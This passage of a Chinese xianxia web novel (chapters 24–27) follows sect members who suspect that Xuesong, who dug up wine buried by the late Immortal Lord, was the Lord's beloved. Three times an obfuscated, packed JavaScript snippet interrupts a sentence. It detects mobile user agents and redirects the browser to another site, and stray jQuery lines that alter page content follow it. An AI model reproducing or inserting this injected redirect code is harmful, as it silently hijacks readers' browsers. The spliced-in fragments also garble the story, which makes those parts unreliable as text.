因为除了仙尊的那个琉璃玉清酒坛,他想不出来还有什么坛子能酿出这么香的酒,这种品质的好酒可不是随便就能搞出来的。
他一时有些感慨,但不知道是应该先感慨仙尊居然有闲情逸致绕过所有人去酿酒,还把坛子埋在这儿,也不怕被拿走,还是感慨,果然是好酒,可惜埋下这一坛酒的人已经喝不到了,当真物是人非。
旁边忽然起了一阵风,他转过头看去,发现来人正是把酒坛赠送给仙尊的酒仙,愣了一下,又有些恍然。
酒仙向来是喜欢酒的,那样浓烈上好的酒香飘出去,他绝不可能一无所知,更何况,酒坛还是他亲手送出去的,他若是毫无察觉,那才不正常。
酒仙被他的目光注视,发现了他,向他走了过来,顺便也给自己加了一个隐匿法术,一边走一边对他说:“我认得你,你是仙尊宗门的弟子吧?里面那个是谁?看脸倒是像仙尊,可是看神情就不像,仿佛更年轻一些,似乎是仙尊的子嗣,可我不记得仙尊有子嗣啊,莫不是伪装成仙尊模样的妖怪?要我帮忙弄死吗?”
长青缓缓摇头:“里面那个也是仙尊宗门的弟子。”
酒仙听了这话,定睛一看:“他身上怎么有仙尊的血缘气息?只是十分淡薄,萦绕在周围,不是从身体里发出来的,好像他用了仙尊的血做的什么东西。”
长青若有所思:“也许是引路符。”
“仙尊还做过引路符?”酒仙挑了挑眉:“我以为像他那样的人根本不会关注别人会不会迷路呢。”
长青没什么话可说,只能笑一笑,他本来也是那样认为的,可惜见到雪松之后,一切全被推翻了。
酒仙再次看向准备喝酒的雪松,看见那个坛子:“那不是我送给仙尊的吗?怎么在他手里?仙尊把坛子送他了?”
长青缓缓摇头:“他刚挖出来,应该是仙尊埋下去的。”
酒仙的神色古怪起来:“仙尊埋下去,他来挖?”
“怎么?”长青问。
“我那坛子,”酒仙十分艰难说,“若要埋起来,挖的人必定得是原来那个,否则,气息不对,酒会坏掉,这是预防偷盗。若是酒没坏——”
24.第 24 章
“酒没坏,会怎么样?”长青看着酒仙,预感到自己即将知道仙尊的又一个秘密,屏住呼吸问。
酒仙深吸了一口气回答:“说明,要么,挖出那坛酒的人就是埋下那坛酒的人,要么,埋下那坛酒的人,早知道会有一个人来挖出这酒,而且他很清楚这个人是谁,那坛酒就是送给这个人的礼物,所以那坛酒才不会坏。”
长青愣了半晌,缓过神来,若有所思:“也就是说,雪松要么是仙尊,要么是仙尊早就知道的收礼人?”
“是的,”酒仙点了点头,愣了一下,突然反应过来他在说什么,“里面那个人叫雪松?仙尊也?他们是什么关系?”
“如你所见,”长青回答,“会互送礼物,会毫不犹豫喝对方送的酒,一丝一毫不怀疑里面可能会有毒,也不会觉得自己找错了的关系。”
“那关系一定很好了,”要说别的,酒仙可能还未必能感觉到,但要是一提起,可以相互分享好酒的关系,他就立刻明白了,“像那样的好酒,我绝对只给自己喝的,谁也别想从我这儿分走一丁一点儿,他们连那样的酒都可以相互分享,简直是互为半身。”
长青想到一件事,向酒仙问:“仙尊曾经把自己要将那坛酒作为礼物送给别人的事情告诉过你吗?”
酒仙摇了摇头:“我跟他的关系也没好到那个地步。”
长青忽然现出身形,往前走了两步,靠近了院子,站在了门口,酒仙愣了一下,不知道他要干什么,也跟着现出身形,往前走去。
雪松刚喝了一口酒,就看见两个人,吓了一跳,差点以为喝醉了,但仔细一看,发现还不如喝醉了。
“你怎么在这儿?”雪松抱着酒坛问。
长青微笑着回答:“我只是突然想见见你。”
雪松皱起眉头感到疑惑:“突然想见我?”
这有点太奇怪了。
长青往前一步说:“你不是不记得朋友叫什么名字又长什么样子吗?我忽然想到了一个办法,迫不及待要告诉你。”
“你不是说,”雪松有点惊讶,他突然提起这个,“我的朋友是仙尊吗?怎么还有什么别的?”
“我是那样认为,可是你似乎还有怀疑,我也觉得事情似乎有一些疑点,没有经过验证是不太值得相信,所以我给你找了个验证的办法,”长青微笑着说,“东海有块三生幻境石,只要往前一站,就能看出过去,你有空随我同去如何?你一定也很想找到你的朋友的名字和容貌吧?”
雪松陷入沉默。
如果他真有那么一个朋友,而且真的不记得对方的名字和容貌,他确实应该很想找到,哪怕对方已经死了。
但他没有。
那他要说一点也不想,完全是真心话,可是说出来别人不一定信,就算相信了,也不见得,对他有什么好处。
毕竟,在他对别人的说明里,他那个朋友对他可好了,要丹药给丹药,要房子给房子,储物戒指都准备了,就连他现在身上穿的软猬甲,他对白刺猬说的来源,也是他的朋友。
他要是不在乎这个朋友,那既对不起朋友,也对不起朋友给他的这些东西,听着更不像是和朋友关系好,倒更像是谋财害命,怕别人发现,所以分开埋放,一点一点挖出来,还要给自己找个借口。
“至少等大比之后吧,”雪松在心里叹了一口气,缓缓回答,“我得准备准备,毕竟东海也不近,万一真是仙尊,我也想知道,我究竟是怎样,和他成为朋友的,这根本是不可能的事。”
长青得偿所愿,笑着点了点头:“是该准备,等到大比之后,也不算久,希望到时候你已经准备好了。”
雪松点了点头,没有回答。
长青忽然又问:“这酒是从哪儿来的?”
“刚从地上挖的,”雪松顺便抱着坛子喝了一口酒,指了指地上的坑,“这还没填呢。”
长青试探着往前一步,果然被阵法拦在了院子之外,一脸好奇问:“你是怎么进去的?我都进不去!我的修为比你高些吧?你居然没有破坏阵法?
我倒不知道,有这种入阵的办法。布置阵法的人也是你的朋友吗?真是了不得!这种阵法,可不是普通修士一朝一夕能办成的。”
他顿了顿,没把“倒像是仙尊布置的”说出来,他知道这么说虽然十分直接,但是可能会起反效果,让雪松开始回避,所以还是把话吞回去了。
雪松又喝了一口酒,回答道:“我就这么走进来的,原来有阵法吗?我不知道,或许是我恰好符合这个阵法的要求吧。”
他这么说,本来是想糊弄过去的,但是长青没给他这个机会,笑眯眯贴着阵法问:“不知道阵法就直接走进去了?我闻着你手里的那坛像是好酒,一般人放好酒的地方虽然偏僻,但绝对不可能不加以防护,这个阵法就好端端的,一点破损都没有,你居然能恰好符合阵法的要求,运气真好。”
“你究竟想说什么?”雪松有点想要打发他了。
“能不能也让我进去坐坐?我赶路也有些累了呢。”长青笑眯眯说。
“我进来的时候都不知道有阵法,”雪松毫不犹豫拒绝了,“我怎么让你进来?我可没有兼修阵法,不会干这个,你要休息还是回去吧,宗门里也安全些。”
“那让我喝一口酒怎么样?你有一坛子呢!分给我一点点也没关系吧?我也很渴了,回宗门可喝不到这样的好酒啊,就当施舍我怎么样?”长青从袖子里一掏,还真掏出一只白玉酒杯来,向他问。
酒仙见此情形,也连忙掏出一只大海碗,对院子里的雪松挥了挥手,笑眯眯说:“也给我来一点!”
雪松站起身来,想着把酒给他们,就能打发了这两个人,也算省些口舌,并不吃亏,就把酒分给他们了,对他们挥挥手:“酒已经给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609038|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,快走吧!”
长青点了点头,把酒杯放回,仍然不忘嘱咐他:“大比之后去东海三生幻境石畔,我们一起去,看看你那朋友究竟是何方人士什么面目!”
雪松点了点头,对他挥手,酒仙道了谢,把酒一饮而尽,也走了,雪松隐约觉得他眼熟,但一时没想起来是谁,毕竟,当初作为仙尊去东海已经是很久以前的事了。
酒仙对仙尊不算重要,平时又不常见面,雪松还喝了酒,更加认不出来。
他只是把一坛子酒都喝了,晕晕乎乎找地方睡了。
长青回到宗门之后,把酒往桌上一放,长老闻着酒味就过来了,顺着他没关上的门走进来,一眼看见桌上的酒,坐在他桌子对面问:“从哪儿来的?不是去找雪松了吗?”
“这就是从雪松那儿要的酒,”长青把事一说,“我除了闻得出这是上好的桂花酒之外,就不太感觉得到什么了,或许是隔着阵法,感知力迟钝,也有可能是急着赶路,情绪波动,所以不太好分辨。”
长老明白过来:“所以你把这东西带来,其实是要我替你查查究竟有什么?”
长青点了点头:“您要是替我查了,这杯酒咱俩一人一半怎样?这可是好酒,我就讨来这么一小杯,还赶了大半天的路呢!您不亏!”
长老想了想,笑了一声:“那我就查查吧。”
他伸手丢了个鉴定术,若有所思,等了一阵说:“这一杯下去抵得上寻常修士十年苦修了。至少是玄阶上品,果然好酒!”
他咂了咂嘴,已经有些迫不及待想要尝尝这酒的味道了,毕竟闻起来有一股浓郁的桂花香气,哪怕只有这花香,也绝对是好东西。
更何况,这还是仙尊亲手埋下的,酒仙出品的坛子,虽然不知什么时候埋下的,但时间绝不会短,种种因素加起来,越发难得了。
长青信守承诺把酒一分为二,长老喝了半杯,忍不住感慨道:“不愧是仙尊为爱侣亲手准备的好酒,值得一品!”
长青听了这话,神色反而黯淡了许多,将酒一饮而尽,听着窗外秋风萧瑟,刮过落叶,敲打窗棂,垂着眼睛喃喃道:“欲买桂花同载酒,终不似,少年游。”
仙尊埋下这坛酒的时候已经想到今天了吗?也对,仙尊是什么人?无所不知,无所不晓,无所不能。怎么会不知道这坛酒是什么时候开?
他连是谁去都知道,否则怎么会布置那个阵法?又怎么会只让那个阵法允许雪松一个人进去?他明明什么都知道!真是算无遗策!
他埋酒的时候是什么心情?是高兴雪松早晚有一日会找到这坛酒喝下去,还是遗憾自己不能在这坛酒开封的时候,站在旁边?
也就是这个时候,长青才确实感觉到,人死如灯灭,一个人死了之后,活着的人不管有什么事情想要问他,都是再也没有机会的。
仙尊这坛桂花酒,是在念谁?
25.第 25 章
一觉睡醒的雪松抱着酒坛子从地上坐起身来,面无表情,缓了一会儿,感觉自己整个人被桂花酒的气味泡入味儿了,摇了摇酒坛子,发现里面还有酒,又喝了一口。
天上忽然轰隆一声响,他抬起头来,发现一片阴云聚集了过来,看着似乎要下雨了,他就站起身来,拍了拍衣服,向着不远处的房子走去,刚刚走到屋檐底下,那雨似乎算好了,哗啦一声就落了下来,打得四面八方都噼里啪啦直响。
他被雨声激得眯了眯眼睛,一阵冷飕飕的风吹了过来,好像在他的衣服里转了个圈,他感觉浑身上下的鸡皮疙瘩都起来了。
他在系统里签了个到,开始抽奖,想平复一下鸡皮疙瘩,转盘在他面前溜溜转了一圈,最后指针停在了一个小小的红盒子上。
盒子上面还有一只漂亮的蝴蝶结,系统提示他,他得到了泪如雨下悲伤光环,他不是很明白这东西有什么用,也不是很搞得清楚,这应该在什么时候用,他最近应该没有什么需要哭的地方。
雪松往周围看了看,周围没有人,他决定现在试试这东西,系统提示他这是一次性物品,有效时间在一分钟。
他按下我知道了,开始使用,只是眨了眨眼睛,两行泪珠,就刷一下,从眼眶里滚了出来,顺着他的脸颊垂到了下巴,欲坠未坠,将落不落,一阵风吹来,那两颗泪珠啪嗒一声,落在了地上。
阴云,风雨,桂花酒和眼泪,他忽然觉得,氛围正好。
想要再讨一杯酒喝的酒仙,停在不远处,不知道该不该上去,这个距离已经足够他看见不远处的雪松正在落泪。
他是觉得自己不应该在这个时候打扰别人的,但现在走了,他又有点舍不得酒,于是在原地顿住了。
随后,酒仙就听见一句飘忽的若有若无的声音,喃喃道:“夜来携手梦同游,晨起盈巾泪莫收。”
酒仙如同遭了一个晴天霹雳,猛然间愣住了,一下子想到之前,从长青那里得知的,仙尊和雪松种种纠缠关系,不由得瞪大了眼睛,倒吸一口凉气,脸上逐渐露出了,震惊至极的表情。
原来仙尊真和雪松有关系?而且是这样深刻的关系?雪松居然昨夜梦见了仙尊?难以想象!
他们一定是特别好的关系了!否则仙尊不会同意的!雪松也不必流这样多的泪。可是,他们怎么会有交集?
明明差着那样多的年纪!难道是转世?可是,转世怎么会有前世记忆?难道仙尊用了什么禁术?不像。那是意外?
他们的感情深到居然可以出现这种意外吗?
这下子,酒仙连酒也不喝了,如同被敲了一个闷棍,迅速逃离了,好像晚一步就要被山崩地裂一般的感情,埋死一样。
这种时候打扰别人真是太不人道了,还是下次有机会再来吧。反正酒坛子又不会用一次就裂开。总有机会再喝一次好酒的。
等雨停了之后,雪松把酒坛子里的酒喝完了,又找了水灌进了坛子里,再把坛子按原样放回坑里,重新把土埋了起来。
做好这一切之后,雪松给自己丢了个清洁术,确保自己看起来和离开之前差不多,回到了刺猬村,找到了白刺猬。
白刺猬不知他做了什么,但隐约看出他眼眶有些发红,不知道他是不是独自一人找了个僻静处,想起伤心事,哭了一场,不愿叫他回来也不高兴,小心翼翼提起完成任务就回宗门的事。
他虽然不知道对面为什么突然小心起来,但完成了任务是该回宗门的,一口答应下来,二人很快便回到了宗门。
白刺猬回到宗门之后,和雪松分开,去找了长青,还有长老,正好长青和长老都在一处,白刺猬就把自己知道的事情对他们说了,之后犹犹豫豫,看着他们问:“雪松与仙尊,真是我们想的那样吗?”
长青听见这话,就好像听见有人问太阳会不会从西边出来,笑了一声说:“不是我们想的那样,还能是什么样呢?他们真的从来不认识?那怎么解释,那许多的东西?”
长青隐约带着一丝嘲讽说:“我可不会平白无故,送一个我不认识的人,许许多多好东西。”
白刺猬似懂非懂,点了点头,但觉得他说的对,又带着些好奇问:“仙尊当年果然对雪松一见钟情吗?”
长青笑了笑:“这我就不知道了。”
长老若有所思,回忆了一下当年的事情,虽然觉得自己对当年其实记得并不清楚,了解的也并不多,但他毕竟是这一屋子的人之中,最有可能知道当年发生了什么的,承担着这样的重任,总不能立刻就说,我什么都不知道。
因此,他仔细想了想,才一脸认真说:“虽然仙尊从来没有说过自己对谁一见钟情,也从来没有表现过什么,但是,他确实有一次出任务失踪了,大约半个月。
说不定就是那时候的事,只是回来之后,他自己也忘了,所以既不曾提起,也不曾表现,好像从来没有发生那样的事。”
长青若有所思问:“为什么是忘了?”
长老刚才想起了这事,所以对答如流:“因为仙尊就是这么说的,他告诉了我们,我们才知道,起初是有些担心的,不过他说,只是忘了那半个月的事而已,不影响什么,我们就放下心来了。”
白刺猬瞪大了眼睛:“这么说,仙尊失踪的那半个月,说不定是受伤失忆流落民间,被当时的雪松带回家救治,治好了伤,恢复了从前的记忆,却忘了那半个月,因此离开了雪松,回到了宗门?”
长老点了点头,一脸孺子可教:“很有可能就是这样。”
“那仙尊后来是怎样想起,又怎样打算送人表示自己曾经一见钟情的礼物,居然还能作为朋友把事情告知?”白刺猬有些疑惑。
“或许是忽然想起来了,但斯人已逝,才把东西另外存放,”长青垂着眼睛说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618016|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“至于作为朋友把事情告知,我看也未必是那样。”
“时间上,确实有点不对。”长老点了点头。
“那是怎么样?”白刺猬问。
“雪松既不记得朋友的名字,也不记得朋友的容貌,反而记得朋友给了他东西,曾经和他一起住过,已经死了,”长青思考着说,“这不像是真有一个朋友,倒像是失忆之后,零零碎碎想起来一些东西,认为自己应该有一个朋友,所以说东西都是那个朋友给的。”
在这一点上,远在千里之外的酒仙和长青倒是达成了一致,也不知道该说他们心有灵犀,还是脑洞共通。
长青说完之后立刻想着去找雪松打听打听,看看雪松究竟记不记得,仙尊当年失忆的那半个月究竟发生了什么。
长老想要阻拦他:“过去的已经过去,何必再问?想不起来惹人麻烦,想起来了也不过是徒增伤心事罢了。你何必恼他?”
长青摇了摇头,向长老问:“难道您不想知道当初发生了什么?我可想知道!我又不是冲着惹恼他去的。他不知道就不知道,难道我还能对他上刑?”
长青说着对白刺猬招了招手:“你跟我一起去,在旁边看着,瞧瞧我究竟会不会对人做什么,我想,我还没那么求知若渴。”
白刺猬左右看了看,长老犹豫了一下,无可奈何,对他们挥挥手:“既然这么想去,那就去吧,别闹出事来就行了。”
长青微笑着点了点头:“我知道了。”
二人便去找到了雪松。
雪松正在为不久之后的宗门大比做准备,刚在自己的院子里练完一套剑,就看见他们来了,向他们走过来问:“有什么事吗?”
长青看着他呆愣了一下,不由得忽然想到了仙尊:“你和你的朋友认识了多久?”
仙尊练剑的时候也是这样吗?倒从来没有见过仙尊练剑。一定不是仙尊不练,多半是仙尊练的时候,旁人没机会看。
毕竟,以仙尊的修为,哪怕是不动真格的,剑气扫过,也容易叫四面八方寸草不生,若有人站着,一时不慎,被误伤就不好了。
仙尊应当有专门的练剑之处,雪松在这一点上,和仙尊倒不一样,但刚才练的剑,不像是宗门教的,也不像是自己曾经练过的。
倒像是,从没见过的。
可是寻常练习的剑法也就那些,怎么会有没见过的?雪松见过仙尊练剑?仙尊当初在雪松面前练的是这套剑法吗?雪松想起了多少?
“从小时候就认识吧?”雪松也不太确定应该说多久,但觉得从小认识好歹认识的时间长一些,或许关系会比较好,收别人的遗产,比较名正言顺,就这么说了。
长青看他神色犹疑,又问:“你们一直待在一起?”
雪松感觉他在挖坑,警惕道:“大多数时候。”
“那他怎么会有那些东西?”长青追问。
26.第 26 章
雪松皱了皱眉,疑惑问:“什么东西?”
长青忍不住笑了起来:“他给你的那些啊,比如你手里的这柄剑,之前的那个盒子,盒子姑且是随手买的,这剑,可不见得。”
雪松想了想说:“我不知道,他没告诉我怎么来的,他只告诉我,有空可以去取。”
“看来你对这个朋友不太了解啊。”长青笑盈盈道。
雪松默不作声,长青忽然问:“要不要我替你去打听打听,看看这柄剑,究竟是从哪里来的?”
雪松没什么兴趣:“人都死了,知道剑是从哪里来的,有什么用?”
“万一他其实在这柄剑里给你留了别的什么呢?”长青试探着问。
雪松自己造的剑,自己还能不知道里面有没有什么吗?
他摇了摇头,毫不犹豫说:“不可能,他又不是只给我留了一样东西,真要是想给我什么,何必专门放在剑里?”
长青若有所思。
雪松这样肯定,不像是一无所知,倒像是确实想起了什么,所以对事情清清楚楚,不像其他问题,回答之前还要犹豫。
“你不想知道你朋友是怎样得到这些东西的?”长青再次试探问。
雪松摇了摇头:“没兴趣。”
长青又问:“你朋友失忆过吗?”
雪松想了想,要是说朋友曾经失忆过,就等于许多东西的来历其实不可考,除非专门去查,但他自己又不会去查,可以省下许多应付别人问题的时间。
他就说:“仿佛是。”
长青挑了挑眉。
看来仙尊果然就是雪松那个朋友,否则哪有这么巧的事?仙尊失忆过,雪松的朋友也失忆过?
长青接着问:“失忆了多久呢?”
“不记得了,”雪松摆了摆手,“他失忆前后区别不大,我也不太分得出来,也不曾细问,只有他自己知道吧。”
长青若有所思,点了点头:“他失忆之后,你们平时都在做些什么?”
雪松皱起眉头:“也没做什么特别的。”
“那他是怎样恢复的呢?”长青又问。
雪松摇了摇头:“不知道,或许是时间一到,自己就好了吧。”
长青将信将疑,点了点头。
若是个普通人,也不是不可能自己忽然就好了,但这种概率显然是很小的,可如果是仙尊,悄无声息恢复了记忆,不仅是有可能的,而且恢复的概率比普通人大多了,毕竟,仙尊的修为和体质都是普通人不可比的。
这么看,雪松和仙尊的关系,更复杂了一点。
“能给我再看看你的剑吗?”长青伸出手。
雪松把剑交给他,他看了看就还了回来:“到时候宗门新生弟子大比,你也用这把剑吗?”
雪松点了点头:“是。”
“你本来的那把呢?”长青好奇问。
“收起来了,”雪松随意说,“那把剑只适合新手,不太适合常用,我既然已经有新的,就不必强行用它了。”
长青若有所思,点了点头。
虽然看不出那把剑为什么适合新手,但一想到当初仙尊也是用那把剑斩杀怪物,想来是仙尊把剑交给雪松的时候告诉他的。
仙尊不仅教人练剑,连什么剑应该用在什么时候这种小事也一并告知,真不知该说他用心良苦,还是细致入微了。
仙尊什么时候对别人这样体贴过?他和雪松的关系,果然好得旁人望尘莫及!真叫人羡慕。
长青向雪松告辞之后,直奔向一个地方,白刺猬不知他要去哪儿,有些疑惑问:“您是要做什么去?”
他一边辨认地点,一边按落云头回答:“我刚才记下了雪松那把剑的细节,我要去问一问剑仙,知不知道那么一把剑。
如果那真是仙尊送给雪松的,不可能随便挑一把就送,大概率问过剑仙,既然如此,剑仙多半是有印象的。”
白刺猬似懂非懂,点了点头。
长青找到了剑仙,说明了来意,描述了那把剑的情况,剑仙略一回忆,立刻想起来了:“那把剑当初确实是仙尊特意找我做的,用了九天玄铁、千年火星、冰山雪莲,因为材料太珍惜了,所以我一直记得。”
“九天玄铁我倒知道,是上好的材料,”长青若有所思问,“千年火星和冰山雪莲是为了什么?”
“若是只用一种,造出来的剑的性质也就偏向一方,但要是二者融合,达到平衡,”剑仙微微笑着,解释说,“不管是水灵根还是火灵根,还是水火双灵根或者是冰灵根,都是适用的,不仅不会降低手感和攻击防御能力,还会在淬炼之后提升,属于是新手阶段之后,最适用的了。”
“仙尊居然考虑如此长远,”长青神色复杂,“连用的人会在新手期之后用都知道,真是心思细腻。”
“那把剑有非常高的可塑性,”剑仙见他似乎感兴趣,继续说了下去,“只要持有者愿意在修为提升时稍稍淬炼那把剑,那把剑只会越来越锋利,越来越顺手,甚至跟着进阶,早晚有一天成为天阶上品,有机会生出剑灵,实在是不可多得的宝物啊!”
剑仙说到这里顿了顿,有些唏嘘:“只是这样的剑,无论如何也不适合仙尊用的。
我当时还奇怪,仙尊怎么要我做这样的剑,现在想来,到最后也没看见仙尊用,是送出去了吧?不知拿到的人是谁。”
他笑了笑:“我还以为仙尊会收徒呢。那样好的一把剑,可惜我不能当仙尊的徒弟,不然我也去凑凑热闹,看看能不能拿拜师礼。”
长青点了点头,垂着眼睛,喃喃道:“可惜。”
可惜雪松没有当仙尊的徒弟,否则有师徒的名义在前,他们感情再怎么样,也多少有一层阻碍。
现在人虽然死了,感情却没变少,反而似乎增多了,不仅半点阻碍也没有,甚至因为没有师徒之名,却有师徒之谊,更让人遗憾。
不知道,这一点是不是也在仙尊的计算之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623909|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内呢?一定也在吧?毕竟,仙尊是那么高的修为,那么一个算无遗策的人。真是好算计!
让人连死也忘不了他。倒有点分不清,仙尊对雪松究竟是爱是恨了。要是真有那么爱,怎么舍得让人在自己死后,念念不忘?
寻常人也该知道生离死别是锥心之痛,仙尊又何尝不知?总不会是因为,仙尊宁愿让人受锥心之痛,也不愿意被忘记吧?
仙尊什么时候这样胆小起来?不过这也说不准。毕竟在雪松之前,谁也不知道,仙尊还能处处为人考虑到连剑也给人准备好的程度啊。
长青已经得到了自己想要知道的,当即向剑仙告辞,带着白刺猬回宗门去了,同时嘱咐道:“今天的事不要告诉别人,我想雪松和仙尊应该都不希望这些事情,被大肆宣扬。”
白刺猬重重点了点头:“我知道了,我不会说的。”
“你走吧。”长青对他挥了挥手。
白刺猬转身离开,长青回到洞府,长老还在等他,他在桌边坐下,沉默着饮了一盏茶,随后将事情缓缓对长老说了。
长老听后,对这些年轻人的感情无可奈何,摇了摇头,感慨道:“十年生死两茫茫,不思量,自难忘。”
长青听完只是沉默,又饮了一杯浓茶,请长老先回去,自己在洞府里呆坐了一晚,神色复杂。
到了宗门新生弟子大比的那一日,雪松提着剑,穿着软猬甲,领了号码牌,按照顺序上了擂台。
宗主和诸位长老都在台下观战,其他新生弟子,要么也在擂台上,要么刚下擂台,准备休息,要么还没上去,正在兴奋,暗中讨论着谁能赢,现场一片嘈杂。
也有一些非新生弟子在维护秩序和来凑热闹,长青就在其中,距离长老不远,但和雪松的擂台更近一些。
白刺猬作为新生弟子之一,也是要参加大比的,但他排在后面,所以还没上擂台,围在人群中旁观,看见长青,就凑了过去。
一声哨音响起,擂台比赛开始。
雪松初入宗门时,修为只是炼气期,在新生试炼地的时候,修为已经进了筑基,现在临近筑基边缘,只差一点就能进入金丹。
但他真要是进了金丹,在新生弟子大比里就属于碾压局了,宗门是不会允许他这样的修为参加新生弟子大比的,对其他弟子不太公平,毕竟他们的修为没那么高,真要是比起来只有挨打的份,哪怕他确实和他们一样,都是新生弟子。
不过,即使他现在没有进入金丹,筑基巅峰的修为,也足够他横扫一片的了。
站在他的擂台上的对手,没有一个能撑过一招的,不是眨眼间被扫下擂台,就是一招也接不下来,就晕了过去,趴在地上,十秒之后也没爬起来,被裁判拎了下去。
白刺猬忍不住感慨道:“照这样的趋势,他完全能不费吹灰之力就拿第一。”
长青点了点头。
一个新的对手站上了雪松的擂台,周围忽然都安静下来,注视着他们。
27.第 27 章
长青看着眼前的情形不由得皱了皱眉,有些担忧。
白刺猬左右看了看,不知道为什么突然安静下来,但十分好奇,因此向长青低声问:“发生什么了?难道新上去的那个雪松的对手是什么了不得的大人物?可这是新生弟子的比赛吧?”
长青神色凝重点了点头回答:“他是白家天赋最好的嫡系子孙,大把的丹药装备在家里随便挑,进了宗门之后也一骑绝尘,不管是战斗力,防御力还是修为,都把别人甩在后面,使人望尘莫及,可以说,如果雪松要争第一,这是个强有力的竞争对手。”
白刺猬听了也忍不住担忧起来,皱了皱眉问:“雪松之前横扫千军一般,那么强,居然不能像对付其他人一样对付这位?”
长青点了点头:“据我所知是的,他身后毕竟有一整个家族。”
“我记得修仙之人修为越高,越会被天地禁止生育,甚至根本无法生育,”白刺猬感到疑惑,“他怎么能有一个家族在背后?”
长青嗤笑一声,神色鄙夷冷冷道:“总有人妄想一边长生不老一边子孙满堂,自然会想出办法来的。
修仙者修为高了无法生育,那就召集有血脉关系的凡人,大量生育,从中挑选有灵根有天赋的,再加以培养,如此往复,人数众多,又有血脉又有恩情,又是联络不断的资源,家族自然形成。”
“那凡人呢?”白刺猬听到这里不知怎么心中一惊,感到后背发凉,犹豫着用更加低微的声音仿佛怕惊扰什么似的问。
“凡人不过是工具,用完就丢的存在,即使活着,”长青讥讽道,“无用也会被弄死,不过是在活着的时候,鲜花着锦,烈火烹油,金银珠宝,美酒佳肴,佳人如云,以为可以自得其乐,实际上,是自作自受。”
白刺猬陷入了沉默。
他是从小山村出来的,不知道什么家族不家族,没有什么后台背景,不能想象面前有一个敞开的宝库,随意挑选灵器装备,也更不能天材灵宝和丹药当饭吃。
平时他不打听,也没人特意告诉他,以至于他到今天才知道,突然感觉自己的精神状态受到了很大的冲击,好不容易稳住的筑基期修为,都一下子摇摇欲坠起来。
他的天赋本来就不算上佳,只不过靠着勤奋努力,再加上一点微薄的灵根,足够他看起来好像还跟得上队伍,只有他自己知道,夜不能寐的时候,究竟掉了多少头发,喝了多少浓茶,发了多少次疯。
毕竟,他的家世在凡人里,或许还算普普通通,到了修仙界中,那就只能算穷困潦倒了,他连丹药都得省着吃,能在宗门这种摆满了聚灵阵的好地方修炼,都算他运气好。
在这里生活所接触到的一切,于他而言都是翻天覆地的,好像修仙之人和凡人之间,确实有一道看不见的,无法逾越的屏障。
心性未曾磨练,年岁又尚轻,不见得经过引导,灵气在经脉中乱窜,白刺猬意识有些恍惚,险些跌倒在地上。
长青皱了皱眉,拍了他一巴掌,喝道:“醒来!”
白刺猬回过神来,紊乱的灵气逐渐趋于平复,脸上仍然是茫然的,喃喃道:“为什么是自作自受?”
他怕有一天自己也会落得自作自受的评价。
他抓住了长青,如同溺水之人,抓住了最后一根救命稻草,眼巴巴望着,希望得到一点帮助。
长青无可奈何,回答道:“那些凡人要是不贪图享乐,也不会明知道前途渺茫,此路危险,还非要一头扎进去,不肯出来。”
“可是,”白刺猬犹豫着问,“难道不是修仙之人先引诱他们吗?要是没有那些好东西摆在面前,他们知道有危险,又怎么会去呢?”
长青冷笑一声:“天底下哪有光得好处没有坏处的事?他们想要那么多的好东西,只有拿自己的命去换,难道还有别的路不成?”
他是不觉得那些修仙者是什么好东西,但也不觉得这些凡人能是什么好东西。毕竟,不为那些修仙者做事的凡人也有的是。
那些凡人确实在事情最后丢了自己的命,但在失去生命之前,也实实在在享受了几十年,这和诈骗可不一样。
他们不是单纯的受害者,也不是对事情一无所知,更不是只有损失,没有一丁点的好处。
倒不如说有的是人愿意为了那几十年的荣华富贵,在最后丢掉自己的命,至少他们死的时候,不曾经受折磨,还算痛快。
他们得到的那些奢靡享乐的生活,没有修仙者,只靠他们自己,一辈子也是赚不到的,既然他们要享受不属于自己的东西,那自然也会丢掉,本来属于自己的,愿赌服输罢了。
这怪得了谁?
修仙者确实可能以力压迫,但威逼和利诱,哪一种方法的副作用更小,他们还是清楚的,有你情我愿的,又何必费时费力去折磨别人?
白刺猬虽然不太明白,但垂着眼睛,低着头,不再问下去了。
台上,拥有纯净冰灵根的白家嫡系子孙白雪,靠着脖子上鸡蛋大小的翡翠项链,防御住了雪松的第一波攻击,只是往后退了两步。
那项链闪了一闪光,周围立刻便有人惊呼:“黄品上阶法器!果然是白家的嫡系子孙!这么有钱!这种东西在市面上可贵了!”
旁边迅速有人接话:“我逛街的时候看见过一次,黄阶下品法器最常见,最便宜,但也不是那么好买到的,黄阶中品法器,稍微不那么容易找,也不那么便宜,但我们努努力还是有可能买到的,可要是黄阶上品,那可是可遇不可求的!寻常根本有价无市!”
